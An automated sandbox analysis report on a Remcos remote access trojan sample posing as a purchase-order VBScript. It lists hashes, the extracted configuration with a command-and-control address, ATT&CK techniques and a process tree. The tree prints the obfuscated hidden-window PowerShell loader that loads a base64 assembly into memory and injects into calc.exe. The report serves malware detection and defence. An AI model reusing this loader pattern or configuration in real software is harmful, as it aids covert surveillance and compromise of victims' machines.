remcos | b8fc2eee5e4401714bb4bd16a9cd308631c5a6bf1de7bd61433c082c744c928e

Analysis

max time kernel
149s
max time network
140s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/10/2026, 17:59

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General

Target
Purchase Order-TC5477883.vbs
Size 5.0MB
Sample261007-wktmkasybv
SHA256 b8fc2eee5e4401714bb4bd16a9cd308631c5a6bf1de7bd61433c082c744c928e
MD5 c8eb483e59263590b80b23b08cf0a736
SHA1 a58a6d01192d061844c83b04635858698a148105
SHA512 205e876952beca8ccd658b5bf7fe4d3f170e3125a3261a3695772b6910b8d579d64eb7fc29eb2fa6cc21b90b69430a3c187aa9e3e4fcc074e8a62873c9bfb1b4
SSDEEP 12288:uqtNddJddddRddddnnwddkvdddddddddNdddddddddddddddddddddddddddddd4:Y
TLSH
T141364D1775807D98AE82A783B77FD06863BD2E2DD60D1CB53AA3164789D3373C34A4A1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

remotehost discovery execution remcos rat

Malware Config

Extracted

Family

remcos

Version

7.3.1 Pro

Botnet

RemoteHost

217.60.103.131:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-OCUZN2
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3220	2424	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3220	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3220	powershell.exe
3576	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4288	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3220 set thread context of 1872	3220	powershell.exe	94

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WScript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WScript.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3220	powershell.exe
3220	powershell.exe
3576	powershell.exe
3576	powershell.exe
3220	powershell.exe
3576	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3220	powershell.exe
Token: SeDebugPrivilege	3576	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4288 wrote to memory of 3576	4288	WScript.exe	92
PID 3220 wrote to memory of 1872	3220	powershell.exe	94
PID 3220 wrote to memory of 1872	3220	powershell.exe	94
PID 3220 wrote to memory of 1872	3220	powershell.exe	94
PID 3220 wrote to memory of 1872	3220	powershell.exe	94
PID 3220 wrote to memory of 1872	3220	powershell.exe	94
PID 3220 wrote to memory of 1872	3220	powershell.exe	94
PID 3220 wrote to memory of 1872	3220	powershell.exe	94
PID 3220 wrote to memory of 1872	3220	powershell.exe	94

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Purchase Order-TC5477883.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:4288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$tironism=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$ecumenically=[Convert]::FromBase64String($tironism);[AppDomain]::CurrentDomain.Load($ecumenically)|Out-Null;[Win32.RMP.Cls_hTqapYGcCg]::Met_hTqapYGcCgmy('VJbsatcXTW0x8PZyEPyPo+5WqVYkyWANEn8YNBQ8gwd2HEgNRkzK0VocjVvSUD5H7Xdq9JvZx+XiA5Rtf5vgow==','','QsWmf9Bg5WXnFO6JPaTzmwhKaiAEKgC3c0C30wrVx9JpghhhY2mRuFwyIu8BdTR2','S/qtSGj4ujprybI+6+wcqLv/aRDxU+NajQHpLMxahw0=','pnKQJiI3i3N7J+K52iOU1EU7G+z/P31d5UV8sMBgKb8=','wqbrDTicLdiLvL+jWFbmkQ8vEszrJqtKrbc3RRxpqUc=','KrAgxg8WCR9Yk86hCrgT3Qs8nlBwXZCoUcK8o6TM9uA=','','0kWG5LqK7gz6TgflwIX9pw5mN0Iu7oIc3vKsRh9hERY=','Fnv32H5x7K06tdfGswkxHN8bn+GrGJYwtoP7iCcwjSw+NSYni8TiGKW8v/LYjrMl','fcTj8BxAR1ynAnhqHsNJBYo2Lmcpd63c6siU3XFdbCE=','vkRF18SXrJ8qbtMZSUVIAEq0zcFRmryIOxw6oGoUDYY=','L4WsDLP+r/B1pKds37SULrDG4E65WiNZ+uIAIjBUbGM=','','O3Jx0+15uyvzlaNA2jJuXfkofmzyrmkfwKMwFvw1Apk=','wSXMWw7okIBHkOemdMeIai5KZC48r9xBqs6HKLHZFRs=','','','')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3576

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$tironism=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$ecumenically=[Convert]::FromBase64String($tironism);[AppDomain]::CurrentDomain.Load($ecumenically)|Out-Null;[Win32.RMP.Cls_hTqapYGcCg]::Met_hTqapYGcCgmy('VJbsatcXTW0x8PZyEPyPo+5WqVYkyWANEn8YNBQ8gwd2HEgNRkzK0VocjVvSUD5H7Xdq9JvZx+XiA5Rtf5vgow==','','QsWmf9Bg5WXnFO6JPaTzmwhKaiAEKgC3c0C30wrVx9JpghhhY2mRuFwyIu8BdTR2','S/qtSGj4ujprybI+6+wcqLv/aRDxU+NajQHpLMxahw0=','pnKQJiI3i3N7J+K52iOU1EU7G+z/P31d5UV8sMBgKb8=','wqbrDTicLdiLvL+jWFbmkQ8vEszrJqtKrbc3RRxpqUc=','KrAgxg8WCR9Yk86hCrgT3Qs8nlBwXZCoUcK8o6TM9uA=','','0kWG5LqK7gz6TgflwIX9pw5mN0Iu7oIc3vKsRh9hERY=','Fnv32H5x7K06tdfGswkxHN8bn+GrGJYwtoP7iCcwjSw+NSYni8TiGKW8v/LYjrMl','fcTj8BxAR1ynAnhqHsNJBYo2Lmcpd63c6siU3XFdbCE=','vkRF18SXrJ8qbtMZSUVIAEq0zcFRmryIOxw6oGoUDYY=','L4WsDLP+r/B1pKds37SULrDG4E65WiNZ+uIAIjBUbGM=','','O3Jx0+15uyvzlaNA2jJuXfkofmzyrmkfwKMwFvw1Apk=','wSXMWw7okIBHkOemdMeIai5KZC48r9xBqs6HKLHZFRs=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3220
- C:\Windows\System32\calc.exe
  C:\Windows\System32\calc.exe
  2⤵
  PID:1872

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
MD5 ccd060f9f366be151fe026216473d89d
SHA1 a2376b4d7e68f0f9b95afe6cb3d0dac53d4d3e67
SHA512 c32c5dc4f4034e964becf33399da8a09c393680520aa9163d4035bc8fa4a15453cf7c7ed1b309785266449f257b7ced4b8dca043917b2c5812b9a25c1da224cd
MD5 SHA1 SHA512

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__PSScriptPolicyTest_4z40qbjn.dui.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4z40qbjn.dui.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1872-25-0x0000000140000000-0x00000001400AF000-memory.dmp

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memory/3220-15-0x0000017D30D30000-0x0000017D30D52000-memory.dmp

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memory/3220-22-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3220-7-0x0000017D30CC0000-0x0000017D30CE2000-memory.dmp

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memory/3220-8-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3220-3-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3220-11-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3220-4-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3220-1-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3220-28-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3220-0-0x00007FF832A5F000-0x00007FF832A60000-memory.dmp

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memory/3220-2-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3576-12-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3576-18-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3576-19-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3576-20-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3576-21-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3576-17-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3576-24-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3576-16-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3576-14-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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memory/3576-13-0x00007FF8328D0000-0x00007FF833274000-memory.dmp

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